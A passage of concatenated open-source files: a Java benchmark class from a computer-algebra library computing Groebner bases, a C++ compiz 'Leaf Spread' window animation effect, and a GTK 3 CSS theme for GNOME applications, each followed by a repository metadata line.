}; String order1 = shuffle(order); String order2 = shuffle(order); String order3 = shuffle(order); String order4 = shuffle(order); String order5 = shuffle(order); // langsam (e,d,h,c,g,a,f,b), (h,d,b,e,c,g,a,f) um die 120 // sehr langsam (e,h,d,c,g,b,a,f) um die 1000 // sehr schnell (g,b,f,h,c,d,a,e), (h,c,a,g,d,f,e,b) 1 millisec String ergOnlyG_1 = grad(order1, polynomials); System.out.println(grad); System.out.println(ergOnlyG_1); String ergOnlyL_1 = lex(order1, polynomials); String ergOnlyL_2 = lex(order2, polynomials); String ergOnlyL_3 = lex(order3, polynomials); String ergOnlyL_4 = lex(order4, polynomials); String ergOnlyL_5 = lex(order5, polynomials); System.out.println(lex); System.out.println(ergOnlyL_1); System.out.println(ergOnlyL_2); System.out.println(ergOnlyL_3); System.out.println(ergOnlyL_4); System.out.println(ergOnlyL_5); //String ergGeneral = all(order, polynomials); //System.out.println(all); //System.out.println(ergGeneral); } //================================================================================================= //Internal methods //================================================================================================= @SuppressWarnings("unchecked") public String all(String order, String polynomials) { GroebnerBaseFGLM<BigRational> IdealObjectFGLM; BigRational coeff = new BigRational(); GroebnerBase<BigRational> gb = GBFactory.getImplementation(coeff); String polynomials_Grad = order + " G " + polynomials; String polynomials_Lex = order + " L " + polynomials; Reader sourceG = new StringReader(polynomials_Grad); GenPolynomialTokenizer parserG = new GenPolynomialTokenizer(sourceG); PolynomialList<BigRational> G = null; Reader sourceL = new StringReader(polynomials_Lex); GenPolynomialTokenizer parserL = new GenPolynomialTokenizer(sourceL); PolynomialList<BigRational> L = null; try { G = (PolynomialList<BigRational>) parserG.nextPolynomialSet(); L = (PolynomialList<BigRational>) parserL.nextPolynomialSet(); } catch (IOException e) { e.printStackTrace(); return "fail"; } System.out.println("Input " + G); System.out.println("Input " + L); //Computation of the Groebnerbase with Buchberger w.r.t INVLEX long buchberger_Lex = System.currentTimeMillis(); List<GenPolynomial<BigRational>> GL = gb.GB(L.list); buchberger_Lex = System.currentTimeMillis() - buchberger_Lex; //Computation of the Groebnerbase with Buchberger w.r.t GRADLEX (Total degree + INVLEX) long buchberger_Grad = System.currentTimeMillis(); List<GenPolynomial<BigRational>> GG = gb.GB(G.list); buchberger_Grad = System.currentTimeMillis() - buchberger_Grad; //PolynomialList<BigRational> GGG = new PolynomialList<BigRational>(G.ring, GG); //PolynomialList<BigRational> GLL = new PolynomialList<BigRational>(L.ring, GL); IdealObjectFGLM = new GroebnerBaseFGLM<BigRational>(); //GGG); //IdealObjectLex = new GroebnerBaseSeq<BigRational>(GLL); long tconv = System.currentTimeMillis(); List<GenPolynomial<BigRational>> resultFGLM = IdealObjectFGLM.convGroebnerToLex(GG); tconv = System.currentTimeMillis() - tconv; OrderedPolynomialList<BigRational> o1 = new OrderedPolynomialList<BigRational>(GG.get(0).ring, GG); OrderedPolynomialList<BigRational> o2 = new OrderedPolynomialList<BigRational>( resultFGLM.get(0).ring, resultFGLM); //List<GenPolynomial<BigRational>> resultBuchberger = GL; OrderedPolynomialList<BigRational> o3 = new OrderedPolynomialList<BigRational>(GL.get(0).ring, GL); int grad_numberOfElements = GG.size(); int lex_numberOfElements = resultFGLM.size(); long grad_maxPolyGrad = PolyUtil.<BigRational> totalDegreeLeadingTerm(GG); // IdealObjectFGLM.maxDegreeOfGB(); long lex_maxPolyGrad = PolyUtil.<BigRational> totalDegreeLeadingTerm(GL); // IdealObjectLex.maxDegreeOfGB(); int grad_height = bitHeight(GG); int lex_height = bitHeight(resultFGLM); System.out.println("Order of Variables: " + order); System.out.println("Groebnerbases: "); System.out.println("Groebnerbase Buchberger (IGRLEX) " + o1); System.out.println("Groebnerbase FGML (INVLEX) computed from Buchberger (IGRLEX) " + o2); System.out.println("Groebnerbase Buchberger (INVLEX) " + o3); String erg = "BigRational |" + order + " |" + grad_numberOfElements + " |" + lex_numberOfElements + " |" + grad_height + " |" + lex_height + " |" + grad_maxPolyGrad + " |" + lex_maxPolyGrad + " |" + buchberger_Grad + " |" + tconv + " |" + buchberger_Lex; //assertEquals(o2, o3); if (! o2.equals(o3) ) { throw new RuntimeException("FGLM != GB: " + o2 + " != " + o3); } return erg; } @SuppressWarnings("unchecked") public String fglm(String order, String polynomials) { GroebnerBaseFGLM<BigRational> IdealObjectGrad; //GroebnerBaseAbstract<BigRational> IdealObjectLex; BigRational coeff = new BigRational(); GroebnerBase<BigRational> gb = GBFactory.getImplementation(coeff); String polynomials_Grad = order + " G " + polynomials; Reader sourceG = new StringReader(polynomials_Grad); GenPolynomialTokenizer parserG = new GenPolynomialTokenizer(sourceG); PolynomialList<BigRational> G = null; try { G = (PolynomialList<BigRational>) parserG.nextPolynomialSet(); } catch (IOException e) { e.printStackTrace(); return "fail"; } System.out.println("Input " + G); //Computation of the Groebnerbase with Buchberger w.r.t GRADLEX (Total degree + INVLEX) long buchberger_Grad = System.currentTimeMillis(); List<GenPolynomial<BigRational>> GG = gb.GB(G.list); buchberger_Grad = System.currentTimeMillis() - buchberger_Grad; //PolynomialList<BigRational> GGG = new PolynomialList<BigRational>(G.ring, GG); IdealObjectGrad = new GroebnerBaseFGLM<BigRational>(); //GGG); long tconv = System.currentTimeMillis(); List<GenPolynomial<BigRational>> resultFGLM = IdealObjectGrad.convGroebnerToLex(GG); tconv = System.currentTimeMillis() - tconv; //PolynomialList<BigRational> LLL = new PolynomialList<BigRational>(G.ring, resultFGLM); //IdealObjectLex = new GroebnerBaseSeq<BigRational>(); //LLL); OrderedPolynomialList<BigRational> o1 = new OrderedPolynomialList<BigRational>(GG.get(0).ring, GG); OrderedPolynomialList<BigRational> o2 = new OrderedPolynomialList<BigRational>( resultFGLM.get(0).ring, resultFGLM); int grad_numberOfElements = GG.size(); int lex_numberOfElements = resultFGLM.size(); long grad_maxPolyGrad = PolyUtil.<BigRational> totalDegreeLeadingTerm(GG); //IdealObjectGrad.maxDegreeOfGB(); long lex_maxPolyGrad = PolyUtil.<BigRational> totalDegreeLeadingTerm(resultFGLM); //IdealObjectLex.maxDegreeOfGB(); int grad_height = bitHeight(GG); int lex_height = bitHeight(resultFGLM); System.out.println("Order of Variables: " + order); System.out.println("Groebnerbases: "); System.out.println("Groebnerbase Buchberger (IGRLEX) " + o1); System.out.println("Groebnerbase FGML (INVLEX) computed from Buchberger (IGRLEX) " + o2); String erg = "BigRational |" + order + " |" + grad_numberOfElements + " |" + lex_numberOfElements + " |" + grad_height + " |" + lex_height + " |" + grad_maxPolyGrad + " |" + lex_maxPolyGrad + " |" + buchberger_Grad + " |" + tconv; return erg; } @SuppressWarnings("unchecked") public String grad(String order, String polynomials) { BigRational coeff = new BigRational(); GroebnerBase<BigRational> gb = GBFactory.getImplementation(coeff); String polynomials_Grad = order + " G " + polynomials; Reader sourceG = new StringReader(polynomials_Grad); GenPolynomialTokenizer parserG = new GenPolynomialTokenizer(sourceG); PolynomialList<BigRational> G = null; try { G = (PolynomialList<BigRational>) parserG.nextPolynomialSet(); } catch (IOException e) { e.printStackTrace(); return "fail"; } System.out.println("Input " + G); //Computation of the Groebnerbase with Buchberger w.r.t GRADLEX (Total degree + INVLEX) long buchberger_Grad = System.currentTimeMillis(); List<GenPolynomial<BigRational>> GG = gb.GB(G.list); buchberger_Grad = System.currentTimeMillis() - buchberger_Grad; //PolynomialList<BigRational> GGG = new PolynomialList<BigRational>(G.ring, GG); OrderedPolynomialList<BigRational> o1 = new OrderedPolynomialList<BigRational>(GG.get(0).ring, GG); GroebnerBaseFGLM<BigRational> IdealObjectGrad; IdealObjectGrad = new GroebnerBaseFGLM<BigRational>(); //GGG); long grad_maxPolyGrad = PolyUtil.<BigRational> totalDegreeLeadingTerm(GG); //IdealObjectGrad.maxDegreeOfGB(); List<GenPolynomial<BigRational>> reducedTerms = IdealObjectGrad.redTerms(GG); OrderedPolynomialList<BigRational> o4 = new OrderedPolynomialList<BigRational>( reducedTerms.get(0).ring, reducedTerms); int grad_numberOfReducedElements = reducedTerms.size(); int grad_numberOfElements = GG.size(); int grad_height = bitHeight(GG); System.out.println("Order of Variables: " + order); System.out.println("Groebnerbases: "); System.out.println("Groebnerbase Buchberger (IGRLEX) " + o1); System.out.println("Reduced Terms" + o4); String erg = "BigRational |" + order + " |" + grad_numberOfElements + " |" + grad_height + " |" + grad_maxPolyGrad + " |" + buchberger_Grad + " |" + grad_numberOfReducedElements; return erg; } @SuppressWarnings("unchecked") public String lex(String order, String polynomials) { //GroebnerBaseAbstract<BigRational> IdealObjectLex; BigRational coeff = new BigRational(); GroebnerBase<BigRational> gb = GBFactory.getImplementation(coeff); String polynomials_Lex = order + " L " + polynomials; Reader sourceL = new StringReader(polynomials_Lex); GenPolynomialTokenizer parserL = new GenPolynomialTokenizer(sourceL); PolynomialList<BigRational> L = null; try { L = (PolynomialList<BigRational>) parserL.nextPolynomialSet(); } catch (IOException e) { e.printStackTrace(); return "fail"; } System.out.println("Input " + L); //Computation of the Groebnerbase with Buchberger w.r.t INVLEX long buchberger_Lex = System.currentTimeMillis(); List<GenPolynomial<BigRational>> GL = gb.GB(L.list); buchberger_Lex = System.currentTimeMillis() - buchberger_Lex; //PolynomialList<BigRational> GLL = new PolynomialList<BigRational>(L.ring, GL); //IdealObjectLex = new GroebnerBaseAbstract<BigRational>(GLL); OrderedPolynomialList<BigRational> o3 = new OrderedPolynomialList<BigRational>(GL.get(0).ring, GL); int lex_numberOfElements = GL.size(); long lex_maxPolyGrad = PolyUtil.<BigRational> totalDegreeLeadingTerm(GL); //IdealObjectLex.maxDegreeOfGB(); int lexHeigth = bitHeight(GL); System.out.println("Order of Variables: " + order); System.out.println("Groebnerbase Buchberger (INVLEX) " + o3); String erg = "BigRational" + order + "|" + lex_numberOfElements + " |" + lexHeigth + " |" + lex_maxPolyGrad + " |" + buchberger_Lex; return erg; } @SuppressWarnings("unchecked") public String modAll(String order, String polynomials, Integer m) { GroebnerBaseFGLM<ModInteger> IdealObjectFGLM; //GroebnerBaseAbstract<ModInteger> IdealObjectLex; ModIntegerRing ring = new ModIntegerRing(m); GroebnerBase<ModInteger> gb = GBFactory.getImplementation(ring); String polynomials_Grad = "Mod " + ring.modul + " " + order + " G " + polynomials; String polynomials_Lex = "Mod " + ring.modul + " " + order + " L " + polynomials; Reader sourceG = new StringReader(polynomials_Grad); GenPolynomialTokenizer parserG = new GenPolynomialTokenizer(sourceG); PolynomialList<ModInteger> G = null; Reader sourceL = new StringReader(polynomials_Lex); GenPolynomialTokenizer parserL = new GenPolynomialTokenizer(sourceL); PolynomialList<ModInteger> L = null; try { G = (PolynomialList<ModInteger>) parserG.nextPolynomialSet(); L = (PolynomialList<ModInteger>) parserL.nextPolynomialSet(); } catch (IOException e) { e.printStackTrace(); return "fail"; } System.out.println("G= " + G); System.out.println("L= " + L); //Computation of the Groebnerbase with Buchberger w.r.t INVLEX long buchberger_Lex = System.currentTimeMillis(); List<GenPolynomial<ModInteger>> GL = gb.GB(L.list); buchberger_Lex = System.currentTimeMillis() - buchberger_Lex; //Computation of the Groebnerbase with Buchberger w.r.t GRADLEX (Total degree + INVLEX) long buchberger_Grad = System.currentTimeMillis(); List<GenPolynomial<ModInteger>> GG = gb.GB(G.list); buchberger_Grad = System.currentTimeMillis() - buchberger_Grad; //PolynomialList<ModInteger> GGG = new PolynomialList<ModInteger>(G.ring, GG); //PolynomialList<ModInteger> GLL = new PolynomialList<ModInteger>(L.ring, GL); IdealObjectFGLM = new GroebnerBaseFGLM<ModInteger>(); //GGG); //IdealObjectLex = new GroebnerBaseAbstract<ModInteger>(GLL); long tconv = System.currentTimeMillis(); List<GenPolynomial<ModInteger>> resultFGLM = IdealObjectFGLM.convGroebnerToLex(GG); tconv = System.currentTimeMillis() - tconv; OrderedPolynomialList<ModInteger> o1 = new OrderedPolynomialList<ModInteger>(GG.get(0).ring, GG); OrderedPolynomialList<ModInteger> o2 = new OrderedPolynomialList<ModInteger>(resultFGLM.get(0).ring, resultFGLM); List<GenPolynomial<ModInteger>> resultBuchberger = GL; OrderedPolynomialList<ModInteger> o3 = new OrderedPolynomialList<ModInteger>( resultBuchberger.get(0).ring, resultBuchberger); int grad_numberOfElements = GG.size(); int lex_numberOfElements = resultFGLM.size(); long grad_maxPolyGrad = PolyUtil.<ModInteger> totalDegreeLeadingTerm(GG); //IdealObjectFGLM.maxDegreeOfGB(); long lex_maxPolyGrad = PolyUtil.<ModInteger> totalDegreeLeadingTerm(GL); //IdealObjectLex.maxDegreeOfGB(); System.out.println("Order of Variables: " + order); System.out.println("Groebnerbases: "); System.out.println("Groebnerbase Buchberger (IGRLEX) " + o1); System.out.println("Groebnerbase FGML (INVLEX) computed from Buchberger (IGRLEX) " + o2); System.out.println("Groebnerbase Buchberger (INVLEX) " + o3); String erg = "Mod " + m + " |" + order + " |" + grad_numberOfElements + " |" + lex_numberOfElements + " |" + grad_maxPolyGrad + " |" + lex_maxPolyGrad + " |" + buchberger_Grad + " |" + tconv + " |" + buchberger_Lex; //assertEquals(o2, o3); if (! o2.equals(o3) ) { throw new RuntimeException("FGLM != GB: " + o2 + " != " + o3); } return erg; } @SuppressWarnings("unchecked") public String modGrad(String order, String polynomials, Integer m) { //GroebnerBaseFGLM<ModInteger> IdealObjectFGLM; ModIntegerRing ring = new ModIntegerRing(m); GroebnerBase<ModInteger> gb = GBFactory.getImplementation(ring); String polynomials_Grad = "Mod " + ring.modul + " " + order + " G " + polynomials; Reader sourceG = new StringReader(polynomials_Grad); GenPolynomialTokenizer parserG = new GenPolynomialTokenizer(sourceG); PolynomialList<ModInteger> G = null; try { G = (PolynomialList<ModInteger>) parserG.nextPolynomialSet(); } catch (IOException e) { e.printStackTrace(); return "fail"; } System.out.println("G= " + G); //Computation of the Groebnerbase with Buchberger w.r.t GRADLEX (Total degree + INVLEX) long buchberger_Grad = System.currentTimeMillis(); List<GenPolynomial<ModInteger>> GG = gb.GB(G.list); buchberger_Grad = System.currentTimeMillis() - buchberger_Grad; //PolynomialList<ModInteger> GGG = new PolynomialList<ModInteger>(G.ring, GG); //IdealObjectFGLM = new GroebnerBaseFGLM<ModInteger>(); //GGG); OrderedPolynomialList<ModInteger> o1 = new OrderedPolynomialList<ModInteger>(GG.get(0).ring, GG); int grad_numberOfElements = GG.size(); long grad_maxPolyGrad = PolyUtil.<ModInteger> totalDegreeLeadingTerm(GG); //IdealObjectFGLM.maxDegreeOfGB(); System.out.println("Order of Variables: " + order); System.out.println("Groebnerbases: "); System.out.println("Groebnerbase Buchberger (IGRLEX) " + o1); String erg = "Mod " + m + " |" + order + " |" + grad_numberOfElements + " |" + grad_maxPolyGrad + " |" + buchberger_Grad; return erg; } @SuppressWarnings("unchecked") public String modfglm(String order, String polynomials, Integer m) { GroebnerBaseFGLM<ModInteger> IdealObjectFGLM; //GroebnerBaseAbstract<ModInteger> IdealObjectLex; ModIntegerRing ring = new ModIntegerRing(m); GroebnerBase<ModInteger> gb = GBFactory.getImplementation(ring); String polynomials_Grad = "Mod " + ring.modul + " " + order + " G " + polynomials; Reader sourceG = new StringReader(polynomials_Grad); GenPolynomialTokenizer parserG = new GenPolynomialTokenizer(sourceG); PolynomialList<ModInteger> G = null; try { G = (PolynomialList<ModInteger>) parserG.nextPolynomialSet(); } catch (IOException e) { e.printStackTrace(); return "fail"; } System.out.println("G= " + G); //Computation of the Groebnerbase with Buchberger w.r.t GRADLEX (Total degree + INVLEX) long buchberger_Grad = System.currentTimeMillis(); List<GenPolynomial<ModInteger>> GG = gb.GB(G.list); buchberger_Grad = System.currentTimeMillis() - buchberger_Grad; //PolynomialList<ModInteger> GGG = new PolynomialList<ModInteger>(G.ring, GG); IdealObjectFGLM = new GroebnerBaseFGLM<ModInteger>(); //GGG); long tconv = System.currentTimeMillis(); List<GenPolynomial<ModInteger>> resultFGLM = IdealObjectFGLM.convGroebnerToLex(GG); tconv = System.currentTimeMillis() - tconv; //PolynomialList<ModInteger> LLL = new PolynomialList<ModInteger>(G.ring, resultFGLM); //IdealObjectLex = new GroebnerBaseAbstract<ModInteger>(LLL); OrderedPolynomialList<ModInteger> o1 = new OrderedPolynomialList<ModInteger>(GG.get(0).ring, GG); OrderedPolynomialList<ModInteger> o2 = new OrderedPolynomialList<ModInteger>(resultFGLM.get(0).ring, resultFGLM); int grad_numberOfElements = GG.size(); int lex_numberOfElements = resultFGLM.size(); long grad_maxPolyGrad = PolyUtil.<ModInteger> totalDegreeLeadingTerm(GG); //IdealObjectFGLM.maxDegreeOfGB(); long lex_maxPolyGrad = PolyUtil.<ModInteger> totalDegreeLeadingTerm(resultFGLM); //IdealObjectLex.maxDegreeOfGB(); System.out.println("Order of Variables: " + order); System.out.println("Groebnerbases: "); System.out.println("Groebnerbase Buchberger (IGRLEX) " + o1); System.out.println("Groebnerbase FGML (INVLEX) computed from Buchberger (IGRLEX) " + o2); String erg = "Mod " + m + " |" + order + " |" + grad_numberOfElements + " |" + lex_numberOfElements + " |" + grad_maxPolyGrad + " |" + lex_maxPolyGrad + " |" + buchberger_Grad + " |" + tconv; return erg; } /** * Method shuffle returns a random permutation of a string of variables. */ public String shuffle(String[] tempOrder) { Collections.shuffle(Arrays.asList(tempOrder)); StringBuffer ret = new StringBuffer("("); ret.append(ExpVector.varsToString(tempOrder)); ret.append(")"); return ret.toString(); } /** * Method bitHeight returns the bitlength of the greatest number * occurring during the computation of a Groebner base. */ public int bitHeight(List<GenPolynomial<BigRational>> list) { BigInteger denom = BigInteger.ONE; BigInteger num = BigInteger.ONE; for (GenPolynomial<BigRational> g : list) { for (Monomial<BigRational> m : g) { BigRational bi = m.coefficient(); BigInteger i = bi.denominator().abs(); BigInteger j = bi.numerator().abs(); if (i.compareTo(denom) > 0) denom = i; if (j.compareTo(num) > 0) num = j; } } int erg; if (denom.compareTo(num) > 0) { erg = denom.bitLength(); } else { erg = num.bitLength(); } return erg; } }
breandan/java-algebra-system
src/edu/jas/gbufd/GroebnerBaseFGLMExamples.java
Java
gpl-2.0
44,052
/* * Animation plugin for compiz/beryl * * animation.c * * Copyright : (C) 2006 Erkin Bahceci * E-mail : [email protected] * * Based on Wobbly and Minimize plugins by * : David Reveman * E-mail : [email protected]> * * Particle system added by : (C) 2006 Dennis Kasprzyk * E-mail : [email protected] * * Beam-Up added by : Florencio Guimaraes * E-mail : [email protected] * * Hexagon tessellator added by : Mike Slegeir * E-mail : [email protected]> * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. */ #include "private.h" // ===================== Effect: Leaf Spread ========================= const float LeafSpreadAnim::kDurationFactor = 1.67; LeafSpreadAnim::LeafSpreadAnim (CompWindow *w, WindowEvent curWindowEvent, float duration, const AnimEffect info, const CompRect &icon) : Animation::Animation (w, curWindowEvent, kDurationFactor * duration, info, icon), PolygonAnim::PolygonAnim (w, curWindowEvent, kDurationFactor * duration, info, icon) { mDoDepthTest = true; mDoLighting = true; mCorrectPerspective = CorrectPerspectivePolygon; } void LeafSpreadAnim::init () { if (!tessellateIntoRectangles (20, 14, 15.0f)) return; CompRect outRect (mAWindow->savedRectsValid () ? mAWindow->savedOutRect () : mWindow->outputRect ()); float fadeDuration = 0.26; float life = 0.4; float spreadFac = 3.5; float randYMax = 0.07; float winFacX = outRect.width () / 800.0; float winFacY = outRect.height () / 800.0; float winFacZ = (outRect.height () + outRect.width ()) / 2.0 / 800.0; float screenSizeFactor = (0.8 * DEFAULT_Z_CAMERA * ::screen->width ()); foreach (PolygonObject *p, mPolygons) { p->rotAxis.set (RAND_FLOAT (), RAND_FLOAT (), RAND_FLOAT ()); float speed = screenSizeFactor / 10 * (0.2 + RAND_FLOAT ()); float xx = 2 * (p->centerRelPos.x () - 0.5); float yy = 2 * (p->centerRelPos.y () - 0.5); float x = speed * winFacX * spreadFac * (xx + 0.5 * (RAND_FLOAT () - 0.5)); float y = speed * winFacY * spreadFac * (yy + 0.5 * (RAND_FLOAT () - 0.5)); float z = speed * winFacZ * 7 * ((RAND_FLOAT () - 0.5) / 0.5); p->finalRelPos.set (x, y, z); p->moveStartTime = p->centerRelPos.y () * (1 - fadeDuration - randYMax) + randYMax * RAND_FLOAT (); p->moveDuration = 1; p->fadeStartTime = p->moveStartTime + life; if (p->fadeStartTime > 1 - fadeDuration) p->fadeStartTime = 1 - fadeDuration; p->fadeDuration = fadeDuration; p->finalRotAng = 150; } }
hedmo/compiz-plugins-extra
animationaddon/src/leafspread.cpp
C++
gpl-2.0
3,316
/**************** * Applications * ****************/ /* used by gnome-font-viewer and sushi */ SushiFontWidget { padding: 6px 12px; } /************ * nautilus * ************/ .nautilus-canvas-item { border-radius: 0; } .nautilus-desktop.nautilus-canvas-item { color: white; text-shadow: 1px 2px 3px alpha(@dark_shadow, 0.9) } .nautilus-desktop.nautilus-canvas-item:active { color: @theme_fg_color; } .nautilus-desktop.nautilus-canvas-item:selected { color: @theme_selected_fg_color; } .nautilus-canvas-item:selected:backdrop { background-color: shade(@bg_color,0.7); } .nautilus-desktop.nautilus-canvas-item:active, .nautilus-desktop.nautilus-canvas-item:prelight, .nautilus-desktop.nautilus-canvas-item:selected { text-shadow: none; } NautilusWindow .toolbar { border-width: 0 0 1px; border-style: solid; border-color: shade(@toolbar_bg_color, 0.7); } NautilusWindow .sidebar .frame { border-style: none; } NautilusWindow .sidebar row:hover { background-color: shade (@theme_bg_color, 0.95); } NautilusWindow * { -GtkPaned-handle-size: 1px; } NautilusWindow .pane-separator { background-image: url("../assets/null.png"); } NautilusWindow .button.sidebar-button:hover, NautilusWindow .button.sidebar-button:hover:active { border: 1px solid @borders; background-image: linear-gradient(to bottom, shade(shade(@theme_bg_color, 1.02), 1.12), shade(shade(@theme_bg_color, 1.02), 0.96) ); } NautilusWindow > GtkGrid > .pane-separator, NautilusWindow > GtkGrid > .pane-separator:hover { border-width: 0 1px 0 0; border-style: solid; border-color: shade(@theme_bg_color, 0.8); background-color: shade(@theme_bg_color, 1.08); color: shade (@theme_bg_color, 0.9); } NautilusNotebook.notebook { border-right-width: 1px; border-left-width: 1px; border-bottom-width: 1px; } NautilusNotebook .frame, NautilusWindow .sidebar .frame { border-width: 0; border-image: none; } NautilusQueryEditor .search-bar.toolbar { border-top-width: 0; border-bottom-width: 0; } NautilusQueryEditor .toolbar { padding-top: 4px; padding-bottom: 2px; border-width: 1px 0 0 0; border-style: solid; border-color: shade(@toolbar_bg_color, 0.8); background-image: none; } NautilusQueryEditor .toolbar:first-child { padding-top: 4px; padding-bottom: 2px; } NautilusQueryEditor .toolbar:last-child, NautilusQueryEditor .search-bar.toolbar:only-child { padding-top: 4px; padding-bottom: 2px; border-bottom-width: 1px; border-bottom-color: shade(@toolbar_bg_color, 0.8); background-image: none; } NautilusListView GtkTreeView { border-color: @borders; /*Temp fix*/ } NautilusListView .view { border-bottom: 1px solid @theme_bg_color; } /****************** * gnome terminal * ******************/ TerminalWindow.background { background-color: transparent; } TerminalWindow GtkNotebook.notebook { border-right-width: 0; border-left-width: 0; border-bottom-width: 0; } /* no transparent background for gnome terminal scrollbars : remove this section if you have installed a patched version of gnome-terminal with transparency enabled */ TerminalWindow .scrollbars-junction,TerminalWindow .scrollbar.trough, TerminalWindow .scrollbars-junction.frame, TerminalWindow .frame.scrollbar.trough { border-color: @borders; background-color: @theme_bg_color; } TerminalWindow .scrollbars-junction:backdrop,TerminalWindow .scrollbar.trough:backdrop, TerminalWindow .scrollbars-junction.frame:backdrop, TerminalWindow .frame.scrollbar.trough:backdrop { border-color: @borders; background-color: @theme_bg_color; } TerminalWindow .scrollbar.vertical .slider { margin-left: 3px; } TerminalWindow .scrollbar.trough { border-width: 0; } /********* * gedit * *********/ GeditWindow * { -GtkPaned-handle-size: 1; } GeditWindow .pane-separator, GeditWindow .pane-separator:hover { border-width: 0 1px 1px 1px; border-style: solid; border-color: shade(@theme_bg_color, 0.8); background-color: shade(@theme_bg_color, 0.8); background-image: url("../assets/null.png"); color: shade(@theme_bg_color, 1.0); } GeditPanel.title GtkLabel { padding: 4px 0; } GeditPanel.vertical .title { padding: 4px 0 4px 3px; border-style: none; } GeditPanel .toolbar { border-style: none; background-color: transparent; } GeditDocumentsPanel .view { background-color: @theme_bg_color; } GeditStatusComboBox .button, GeditStatusComboBox .button:hover, GeditStatusComboBox .button:active, GeditStatusComboBox .button:active:hover { padding: 1px 6px 2px 4px; border-style: solid; border-width: 0 1px; border-radius: 0; } GeditStatusComboBox .button:hover, GeditStatusComboBox .button:active, GeditStatusComboBox .button:active:hover { border-color: shade(@theme_bg_color, 0.8); } GeditViewFrame .gedit-search-slider { padding: 4px; border-radius: 0 0 3px 3px; border-width: 0 1px 1px 1px; border-style: solid; border-color: shade(@theme_base_color, 0.7); background-color: @theme_base_color; } GeditViewFrame .gedit-search-slider .not-found { background-color: #D94141; background-image: none; color: white; } GeditViewFrame .gedit-search-slider .not-found:selected { background-color: @theme_selected_bg_color; color: @selected_foreground; } GeditFileBrowserWidget .primary-toolbar.toolbar { padding: 4px 8px; border-top: none; background-color: @theme_bg_color; background-image: none; } .gedit-search-entry-occurrences-tag { color: @theme_text_color; border: 0px none @borders; margin: 1px; padding: 4px; } GeditStatusbar { border-top: 1px solid @borders; background-color: @theme_bg_color; } /************* * gucharmap * *************/ GucharmapChartable { background-color: @theme_base_color; } GucharmapChartable:active, GucharmapChartable:focus, GucharmapChartable:selected { background-color: @theme_selected_bg_color; color: @theme_selected_fg_color; } /************* * evolution * *************/ EPreviewPane { background-color: @base_color; color: @fg_color; } /*********** * gtkhtml * ***********/ GtkHTML { background-color: @base_color; color: @fg_color; } /* needed for webkit/GtkStyle/Evolution compatibility */ GtkHTML:active, GtkHTML:active:backdrop, .entry:active, .entry:active:backdrop { background-color: @base_color; color: @fg_color; } /****************** * gnome calendar * ******************/ .calendar-view { background-color: shade(@theme_base_color, 0.95); color: @theme_text_color; } /****************** * Gnome Contacts * ******************/ /* Border on the right in the left menu toolbar */ .contacts-left-header-bar:dir(ltr) { border-right-width: 1px; } .contacts-left-header-bar:dir(rtl) { border-left-width: 1px; } .contacts-left-header-bar:dir(ltr), .contacts-right-header-bar:dir(rtl) { border-top-right-radius: 0; } .contacts-right-header-bar:dir(ltr), .contacts-left-header-bar:dir(rtl) { border-top-left-radius: 0; } /* * Evince */ EvWindow.background > GtkBox.vertical > GtkPaned.horizontal > GtkBox.vertical > GtkScrolledWindow.frame { border-width: 0; border-radius: 0; } EvWindow.background EvSidebar.vertical .frame { border-width: 1px 0; border-radius: 0; } EvWindow.background EvSidebar.vertical .notebook { border-width: 1px 0; } EvWindow.background EvSidebarAnnotations.vertical GtkToolPalette > GtkToolItemGroup > .button { padding: 4px; border-image: none; border-radius: 0; border-style: solid; border-width: 0 0 1px; border-color: shade(@theme_bg_color, 0.8); } EvWindow.background EvSidebar.vertical .notebook .frame { border-width: 0; } EvWindow .pane-separator, EvWindow .pane-separator:hover { border-width: 0 1px; border-style: solid; border-color: shade(@theme_base_color, 0.9); background-color: transparent; color: shade(@theme_base_color, 0.7); } EvWindow.background EggFindBar.toolbar { border-width: 1px 0 0; border-style: solid; border-color: shade(@theme_base_color, 0.9); } EvWindow.background EvSidebar.vertical .notebook { border-color: shade(@theme_base_color, 0.7); background-color: @theme_base_color; border-radius: 0; } EvWindow.background EvSidebar.vertical .notebook.header { background-color: @theme_bg_color; box-shadow: none; background-image: none; border-width: 0px; } EvWindow.background EvSidebar.vertical .notebook tab.top:active { background-color: @theme_base_color; background-image: none; } EvWindow.background EvSidebar.vertical .notebook tab.top { border-color: transparent; border-width: 0px; background-image: none; background-color: transparent; } EvWindow.background EvSidebar.vertical .notebook tab GtkLabel { color: alpha(@toolbar_fg_color, 0.5); } EvWindow.background EvSidebar.vertical .notebook .prelight-page, EvWindow.background EvSidebar.vertical .notebook .prelight-page GtkLabel { color: @theme_fg_color; } EvWindow.background EvSidebar.vertical .notebook .active-page, EvWindow.background EvSidebar.vertical .notebook tab .active-page GtkLabel { color: alpha(@toolbar_fg_color, 1.0); } /* used by Documents and Evince */ .content-view.document-page { border-style: solid; border-width: 3px 3px 6px 4px; border-image: url("../assets/thumbnail-frame.png") 3 3 6 4; } /* * File-roller */ FrWindow.background GtkPaned.horizontal { -GtkPaned-handle-size: 1; } FrWindow > GtkGrid > .pane-separator, FrWindow > GtkGrid > .pane-separator:hover { border-width: 0 1px 0 0; border-style: solid; border-color: @borders; } FrWindow.background GtkBox.vertical GtkTreeView.view { background-color: @sidebar_bg; } /* * Totem */ /*TotemGrilo.vertical .content-view { border-width: 0; }*/ TotemMainToolbar.header-bar { border-width: 0; } TotemGrilo.vertical .search-bar { border-width: 1px 0 0 0; } GtkApplicationWindow.background GtkStack GtkVBox.vertical GtkOverlay GtkRevealer.top { background-color: @borders; } /* Transmission */ .tr-workarea .undershoot, .tr-workarea .overshoot { border-color: transparent; /* Remove black border on over- and undershoot */ } /************** * Tweak Tool * **************/ .tweak:hover{ color: @text_color; } .tweak-categories .list-row.button:hover { background-color: @selected_bg_color; color: @selected_fg_color; } .tweak-categories { background-color: @sidebar_bg_color; background-image: linear-gradient(to bottom,@sidebar_bg_color,@sidebar_bg_color); }
dasnoopy/moslight-themes
MosCloud/gtk-3.0/apps/gnome-applications.css
CSS
gpl-2.0
10,803
